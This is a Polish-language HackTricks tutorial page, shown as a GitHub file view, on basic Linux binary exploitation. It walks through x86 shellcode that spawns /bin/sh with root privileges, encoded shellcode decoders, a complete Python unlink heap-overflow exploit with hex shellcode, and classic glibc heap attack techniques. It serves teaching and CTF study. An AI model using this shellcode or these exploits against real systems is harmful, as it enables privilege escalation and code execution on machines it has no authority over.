hacktricks/binary-exploitation/linux-exploiting-basic-esp.md

499 lines
28 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Eksploitacja systemu Linux (Podstawy)
<details>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
</details>
## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; clear eax\
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Execute syscall
**nasm -f elf assembly.asm** —> Returns a .o file\
**ld assembly.o -o shellcodeout** —> Gives us an executable formed by the assembly code and we can extract the opcodes with **objdump**\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
**Verify that the shellcode works**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Aby sprawdzić, czy wywołania systemowe są wykonywane poprawnie, należy skompilować poprzedni program, a wywołania systemowe powinny pojawić się w **strace ./SKOMPILOWANY\_PROGRAM**
Podczas tworzenia shellcode'u można zastosować sztuczkę. Pierwsza instrukcja to skok do wywołania. Wywołanie wykonuje oryginalny kod i dodatkowo umieszcza EIP na stosie. Po instrukcji wywołania umieszczamy potrzebny nam ciąg znaków, dzięki czemu za pomocą tego EIP możemy wskazać na ciąg znaków i kontynuować wykonywanie kodu.
EJ **SZTUCZKA (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**Użycie ESP do użycia stosu (/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Łowca jajek:**
Polega na małym kodzie, który przeszukuje strony pamięci powiązane z procesem w poszukiwaniu tam przechowywanej shellcode (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko niewielką przestrzeń do wstrzyknięcia kodu.
**Shellkody polimorficzne**
Polegają na zaszyfrowanych shellkodach, które posiadają małe kody deszyfrujące i skaczące do nich, używając sztuczki Call-Pop, oto **przykład zaszyfrowany szyfrem Cezara**:
```
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
```
## **5. Metody uzupełniające**
###
## **8 Przepełnienia sterty: Podstawowe ataki**
**Przypisany kawałek**
prev\_size |\
size | —Nagłówek\
\*mem | Dane
**Wolny kawałek**
prev\_size |\
size |\
\*fd | Ptr do przodu\
\*bk | Ptr do tyłu —Nagłówek\
\*mem | Dane
Wolne kawałki są w liście dwukierunkowej (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone)
W "size" są bity wskazujące: czy poprzedni kawałek jest używany, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównego obszaru.
Podczas zwalniania kawałka, jeśli którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i największy nowy kawałek jest przekazywany do frontlink() w celu wstawienia go do odpowiedniego binu.
unlink(){\
BK = P->bk; —> BK nowego kawałka to ten, który był wolny wcześniej\
FD = P->fd; —> FD nowego kawałka to ten, który był wolny wcześniej\
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek\
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek\
}
Dlatego jeśli uda nam się zmodyfikować P->bk na adres shellcode i P->fd na adres wpisu w GOT lub DTORS pomniejszony o 12, osiągniemy:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
W ten sposób shellcode zostanie wykonana po opuszczeniu programu.
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być dostosowana do tego:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Spowoduje to zapisanie 4 bajtów od 8 bajtu shellcode, dlatego pierwszą instrukcją shellcode powinno być skok, aby ominąć to i przejść do nops prowadzących do reszty shellcode.
Dlatego exploit jest tworzony:
W buforze 1 umieszczamy shellcode zaczynając od skoku, aby przejść do nops lub reszty shellcode.
Po shellcode dodajemy wypełnienie do osiągnięcia pola prev\_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (aby nadpisać prev\_size i ustawić bit wskazujący, że jest wolny) oraz "-4" (0xfffffffc) w size (aby podczas sprawdzania w 3. kawałku, czy 2. był wolny, faktycznie przejdzie do zmodyfikowanego prev\_size, który powie, że jest wolny) -> Dlatego gdy free() sprawdzi, przejdzie do size 3., ale faktycznie przejdzie do 2. - 4 i uzna, że 2. kawałek jest wolny. Następnie wywoła **unlink()**.
Podczas wywoływania unlink() użyje pierwszych danych z 2. kawałka jako P->fd, więc tam zostanie wstawiony adres do nadpisania - 12 (ponieważ w FD->bk dodaje 12 do adresu przechowywanego w FD). A pod tym adresem zostanie wprowadzony drugi adres z 2. kawałka, który będzie interesujący dla nas jako adres shellcode (fałszywy P->bk).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #skok 12 + 12 bajtów wypełnienia**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, aby program myślał, że "size" 3. kawałka jest 4 bajty wcześniej (wskazuje na prev\_size), bo tam sprawdza, czy 2. kawałek jest wolny**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #Na początku ładujemy 8 bajtów wypełnienia do payloadu**
**got\_free = pack("\<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie nadpisany, aby shellcode została uruchomiona 2. raz, gdy free() zostanie wywołane)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Jak wspomniano, payload zaczyna się od 8 bajtów wypełnienia**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Modyfikujemy 2. kawałek, got\_free wskazuje, gdzie zapiszemy adres addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() zwalniając w odwrotnej kolejności (wargame)**
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności niż były rezerwowane.
W tym przypadku:
W kawałku c umieszczamy shellcode
Kawałek a używamy do nadpisania b, aby size miał wyłączony bit PREV\_INUSE, aby program myślał, że kawałek a jest wolny.
Dodatkowo, w nagłówku b nadpisujemy size, aby wynosił -4.
Wtedy program uzna, że "a" jest wolny i w binie, więc wywoła unlink(), aby go odłączyć. Jednakże, ponieważ nagłówek PREV\_SIZE wynosi -4, uzna, że kawałek "a" zaczyna się naprawdę w b+4. Innymi słowy, wywoła unlink() dla kawałka, który zaczyna się w b+4, więc w b+12 będzie wskaźnik "fd", a w b+16 będzie wskaźnik "bk".
W ten sposób, jeśli w bk umieścimy adres shellcode, a w fd umieścimy adres funkcji "puts()"-12, mamy nasz payload.
**Technika Frontlink**
Frontlink jest wywoływany, gdy coś jest zwalniane i żaden z sąsiednich kawałków nie jest wolny, wtedy nie jest wywoływane unlink(), ale jest bezpośrednio wywoływane frontlink().
Użyteczna podatność, gdy atakowany malloc nigdy nie jest zwalniany (free()).
Wymaga:
Bufora, który może zostać przepełniony funkcją wejściową
Bufora sąsiadującego z tym, który zostanie zwolniony i którego pole fd w nagłówku zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
Bufora zadeklarowanego przed krokiem 3, który pozwala na nadpisanie prev\_size tego bufora
Dzięki temu, poprzez nadpisanie dwóch malloców w sposób niekontrolowany i jednego w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy przeprowadzić exploit.
**Podatność double free()**
Jeśli free() jest wywoływane dwa razy z tym samym wskaźnikiem, są dwa biny wskazujące na ten sam adres.
Jeśli chcemy ponownie użyć jednego, nie ma problemu. Jeśli chcemy użyć drugiego, zostanie przydzielona ta sama przestrzeń, więc mamy fałszywe wskaźniki "fd" i "bk" z danymi, które zostaną zapisane przez poprzednią rezerwację.
**Po free()**
Wskaźnik wcześniej zwolniony jest ponownie używany bez kontroli.
## **8 Przepełnienia sterty: Zaawansowane ataki**
Techniki Unlink() i FrontLink() zostały usunięte poprzez modyfikację funkcji unlink().
**The house of mind**
Wystarczy jedno wywołanie free(), aby spowodować wykonanie arbitralnego kodu. Szukamy drugiego kawałka, który może zostać nadpisany przez poprzedni i zwolniony.
Wywołanie free() powoduje wywołanie public\_fREe(mem), co powoduje:
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Zwraca wskaźnik do miejsca, gdzie zaczyna się kawałek (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
\_int\_free(ar\_ptr, mem);
}
W \[1] sprawdzany jest rozmiar pola NON\_MAIN\_ARENA, który można zmienić, aby sprawdzenie zwróciło true i wykonało heap\_for\_ptr(), które wykonuje operację and na "mem", ustawiając na 0 2,5 mniej znaczących bajtów (w naszym przypadku z 0x0804a000 na 0x08000000) i uzyskuje dostęp do 0x08000000->ar\_ptr (jak do struktury heap\_info).
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i kawałek zostanie zwolniony w **0x081002a0**, możemy dotrzeć do adresu 0x08100000 i zapisać, na przykład, **0x0804a000**. Gdy ten drugi kawałek zostanie zwolniony, heap\_for\_ptr(ptr)->ar\_ptr zwróci to, co napisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 operację and, którą widzieliśmy wcześniej, i stąd pobiera wartość pierwszych 4 bajtów, ar\_ptr).
W ten sposób wywoływane jest \_int\_free(ar\_ptr, mem), czyli **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co piszemy w zwalnianym kawałku.
Zgodnie z definicją unsorted\_chunks, wiemy, że:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Dlatego jeśli w av->bins\[2] wpiszemy wartość \_\_DTOR\_END\_\_-12, w ostatniej instrukcji zostanie zapisana w \_\_DTOR\_END\_\_ adres drugiego kawałka.
Inaczej mówiąc, na początku pierwszego kawałka musimy umieścić wiele razy adres \_\_DTOR\_END\_\_-12, ponieważ av->bins\[2] go stamtąd weźmie.
W miejscu, gdzie znajduje się adres drugiego kawałka z ostatnimi 5 zerami, należy wpisać adres tego pierwszego kawałka, aby heap\_for\_ptr() uznał, że ar\_ptr znajduje się na początku pierwszego kawałka i stamtąd wyciągnął av->bins\[2].
W drugim kawałku, dzięki pierwszemu, nadpisujemy prev\_size skokiem 0x0c i size czymś, aby aktywować -> NON\_MAIN\_ARENA.
Następnie w kawałku 2 umieszczamy dużo nops i ostatecznie shellcode.
W ten sposób zostanie wywołane \_int\_free(KAWAŁEK1, KAWAŁEK2) i zostaną wykonane instrukcje, aby zapisać w \_\_DTOR\_END\_\_ adres prev\_size KAWAŁKA2, który skoczy do shellcode.
Aby zastosować tę technikę, konieczne jest spełnienie kilku dodatkowych wymagań, które nieco komplikują payload.
Ta technika nie jest już stosowana, ponieważ zastosowano prawie ten sam patch co dla unlink. Porównuje się, czy nowe miejsce, do którego się odwołuje, również odwołuje się do niego.
**Fastbin**
To wariant The house of mind
Interesuje nas wykonanie następującego kodu, do którego dochodzi po pierwszej weryfikacji funkcji \_int\_free()
fb = &(av->fastbins\[fastbin\_index(size)] —> Gdzie fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
W ten sposób, jeśli umieścimy w "fb" adres funkcji w GOT, pod tym adresem umieszczona zostanie nadpisana wartość. Wymaga to, aby arena była blisko adresów dtors. Dokładniej mówiąc, av->max\_fast musi znajdować się pod adresem, który zamierzamy nadpisać.
Ponieważ w The House of Mind zauważono, że kontrolowaliśmy pozycję av.
Jeśli więc w polu size umieścimy rozmiar 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() zwróci fastbins\[-1], który wskaże na av->max\_fast
W tym przypadku av->max\_fast będzie adresem, który zostanie nadpisany (nie na który wskaże, ale ta pozycja zostanie nadpisana).
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 8, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops).
Dodatkowo ten sam fałszywy kawałek musi być mniejszy niż av->system\_mem. av->system\_mem znajduje się 1848 bajtów dalej.
Ze względu na nulle w \_DTOR\_END\_ i niewiele adresów w GOT, żaden z tych obszarów nie nadaje się do nadpisania, zobaczmy więc, jak zastosować fastbin do ataku na stos.
Innym sposobem ataku jest przekierowanie **av** na stos.
Jeśli zmienimy rozmiar na 16 zamiast 8, wtedy: fastbin\_index() zwróci fastbins\[0] i możemy z tego skorzystać, aby nadpisać stos.
W tym przypadku nie powinno być żadnych canary ani dziwnych wartości na stosie, faktycznie musimy znaleźć się w: 4 bajty nulle + EBP + RET
4 bajty nulle są potrzebne, aby **av** znajdował się pod tym adresem, a pierwszym elementem **av** jest mutex, który musi wynosić 0.
**av->max\_fast** będzie EBP i będzie wartością, która pozwoli nam ominąć ograniczenia.
W **av->fastbins\[0]** zostanie nadpisany adresem **p** i będzie RET, co spowoduje skok do shellcode.
Dodatkowo, w **av->system\_mem** (1484 bajty powyżej pozycji na stosie) będzie dużo śmieci, które pozwolą nam ominąć sprawdzenie.
Dodatkowo musi być spełniony warunek, że kawałek sąsiadujący z uwolnionym musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar uwolnionego kawałka to 16, w tym fałszywym kawałku musimy umieścić rozmiar większy niż 8 (ponieważ shellcode będzie w uwolnionym kawałku, na początku trzeba umieścić skok, który trafi w nops, które znajdują się po polu size nowego fałszywego kawałka).
**The House of Spirit**
W tym przypadku szukamy wskaźnika malloc, który może być zmieniony przez atakującego (na przykład, aby wskaźnik znajdował się na stosie pod potencjalnym przepełnieniem zmiennej).
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby gdziekolwiek. Jednak nie każde miejsce jest dobre, rozmiar fałszywego kawałka musi być mniejszy niż av->max\_fast i bardziej konkretne, równy rozmiarowi żądanemu w przyszłym wywołaniu malloc()+8. Dlatego jeśli wiemy, że po tym podatnym wskaźniku następuje wywołanie malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
Jeśli na przykład program pyta użytkownika o liczbę, możemy wprowadzić 48 i skierować zmienialny wskaźnik malloc na następne 4 bajty (które mogą należeć do EBP, jeśli mamy szczęście, więc 48 pozostaje z tyłu, jakby to była nagłówek rozmiaru). Ponadto adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), czyli 8 < ptr-4+48 < av->system\_mem.
Jeśli to zostanie spełnione, gdy zostanie wywołany kolejny malloc, który określiliśmy jako malloc(40), zostanie mu przypisany adres EBP. Jeśli atakujący może również kontrolować to, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem.
Wygląda na to, że dlatego, gdy zostanie zwolniony free(), zostanie zapisane, że w adresie wskazującym na EBP stosu znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chcemy zarezerwować, więc przypisuje mu ten adres.
**The House of Force**
Potrzebne jest:
* Przepełnienie do kawałka, które pozwala na nadpisanie wilderness
* Wywołanie malloc() z rozmiarem określonym przez użytkownika
* Wywołanie malloc(), którego dane mogą być zdefiniowane przez użytkownika
Po pierwsze, nadpisujemy rozmiar kawałka wilderness wartością bardzo dużą (0xffffffff), dzięki czemu każde żądanie pamięci wystarczająco duże będzie obsługiwane w \_int\_malloc() bez konieczności rozszerzania sterty.
Po drugie, zmieniamy av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, takiego jak stos. W av->top umieszczamy \&EIP - 8.
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
victim = av->top;
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim pobiera adres bieżącego kawałka wilderness (aktualne av->top), a remainder to dokładnie suma tego adresu i liczby bajtów żądanych przez malloc(). Dlatego jeśli \&EIP-8 znajduje się pod adresem 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc(), wynosi:
0xbffff224 - 0x080c2788 = 3086207644.
W ten sposób zmodyfikowany zostanie av->top, a następny malloc wskaże na EIP i będzie można go nadpisać.
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie ostatniego malloc(). Innymi słowy, jeśli wilderness wskazuje na \&EIP-8, rozmiar będzie dokładnie w polu EBP stosu.
**The House of Lore**
**Korupcja SmallBin**
Zwolnione kawałki są umieszczane w binie w zależności od ich rozmiaru. Ale zanim zostaną umieszczone, są przechowywane w unsorted bins. Kawałek, który został zwolniony, nie jest natychmiast umieszczany w swoim binie, ale pozostaje w unsorted bins. Następnie, jeśli zostanie zarezerwowany nowy kawałek i poprzedni zwolniony może mu posłużyć, zostanie mu zwrócony, ale jeśli zostanie zarezerwowany większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
Aby osiągnąć podatny kod, żądanie pamięci musi być większe niż av->max\_fast (zazwyczaj 72) i mniejsze niż MIN\_LARGE\_SIZE (512).
Jeśli w binie znajduje się kawałek o odpowiednim rozmiarze, zostanie on zwrócony po odłączeniu:
bck = victim->bk; Wskaże poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następnemu zarezerwowanemu kawałkowi zostanie przypisany ten adres
bck->fd = bin; Lista jest zamykana, wskazując na bin
Potrzebne jest:
Zarezerwowanie dwóch malloc, tak aby po zwolnieniu drugiego i umieszczeniu go w jego binie (czyli zarezerwowaniu większego malloc niż drugi kawałek przed przepełnieniem)
Zarezerwowanie malloc, któremu atakujący może przypisać wybrany adres.
Celem jest to, że jeśli możemy przepełnić stertę, która ma poniżej siebie zwolniony kawałek w swoim binie, możemy zmienić wskaźnik bk. Jeśli zmienimy wskaźnik bk tego kawałka i stanie się on pierwszym na liście bin, a następnie zostanie zarezerwowany, bin zostanie oszukany i pomyśli, że ostatni kawałek na liście (następny do zaoferowania) znajduje się pod fałszywym adresem, który podaliśmy (na stosie lub GOT, na przykład). Dlatego jeśli zostanie zarezerwowany kolejny kawałek i atakujący ma do niego uprawnienia, zostanie mu przydzielony kawałek na pożądanej pozycji i będzie mógł w nią pisać.
Po zwolnieniu zmodyfikowanego kawałka konieczne jest zarezerwowanie kawałka większego od zwolnionego, aby zmodyfikowany kawałek wyszedł z unsorted bins i został umieszczony w swoim binie.
Gdy już znajdzie się w swoim binie, należy zmienić wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
Bin musi poczekać, aż malloc() zostanie wywołane wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego bina i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. Następnie zostanie przydzielony pożądany kawałek.
Aby jak najszybciej wywołać podatność, idealne jest: zarezerwowanie podatnego kawałka, zarezerwowanie kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, zarezerwowanie kawałka większego od zmodyfikowanego, zmodyfikowanie kawałka (podatność), zarezerwowanie kawałka o takim samym rozmiarze co podatny i zarezerwowanie drugiego kawałka o takim samym rozmiarze, który będzie wskazywał na wybrany adres.
Aby zabezpieczyć się przed tym atakiem, stosuje się standardową weryfikację, czy kawałek „nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. Innymi słowy, w naszym przypadku, jeśli wskaźnik fd\* fałszywego kawałka wskazuje na victim na stosie. Aby ominąć to zabezpieczenie, atakujący musiałby być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim miejscu adres victim. W ten sposób wyglądałoby to jak prawdziwy kawałek.
**Korupcja LargeBin**
Wymagane są te same warunki co wcześniej i kilka dodatkowych, ponadto zarezerwowane kawałki muszą być większe niż 512.
Atak jest podobny do poprzedniego, czyli trzeba zmienić wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmienić rozmiar zmodyfikowanego kawałka tak, aby to size - nb było < MINSIZE.
Na przykład, trzeba ustawić rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się wartość bez znaku)
Dodatkowo wprowadzono łatkę, aby sprawić, że atak będzie jeszcze trudniejszy.
**Rozpylanie sterty (Heap Spraying)**
Polega na rezerwacji jak największej ilości pamięci dla sterty i wypełnienie jej poduszką z nops zakończoną shellcodem. Jako poduszki używa się 0x0c. Następnie próbuje się skoczyć do adresu 0x0c0c0c0c, więc jeśli jakaś adres zostanie nadpisany tymi nopsami, zostanie tam skoczono. W skrócie, taktyka polega na zarezerwowaniu jak największej ilości pamięci, aby sprawdzić, czy jakiś wskaźnik zostanie nadpisany, i skoczyć do 0x0c0c0c0c, mając nadzieję, że tam będą nopsy.
**Feng Shui sterty (Heap Feng Shui)**
Polega na cementowaniu pamięci poprzez rezerwacje i zwalnianie kawałków w taki sposób, aby między kawałkami wolnymi pozostały zarezerwowane kawałki. Bufor do przepełnienia zostanie umieszczony w jednym z tych kawałków.
**objdump -d executable** > Rozkłada funkcje\
**objdump -d ./PROGRAMA | grep FUNCTION** —> Pobiera adres funkcji\
**objdump -d -Mintel ./shellcodeout** —> Aby sprawdzić, czy to na pewno nasz shellcode i uzyskać kody operacyjne\
**objdump -t ./exec | grep varBss** —> Tabela de símbolos, aby uzyskać adres zmiennej i funkcji\
**objdump -TR ./exec | grep exit(func lib)** —> Aby uzyskać adres funkcji z bibliotek (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Wyświetla adres puts do nadpisania w GOT\
**objdump -D ./exec** —> Rozkłada WSZYSTKO do wpisów plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Informacje o funkcji w gdb
## Interesujące kursy
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
* [https://pwnable.tw/](https://pwnable.tw/)
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
## **Referencje**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>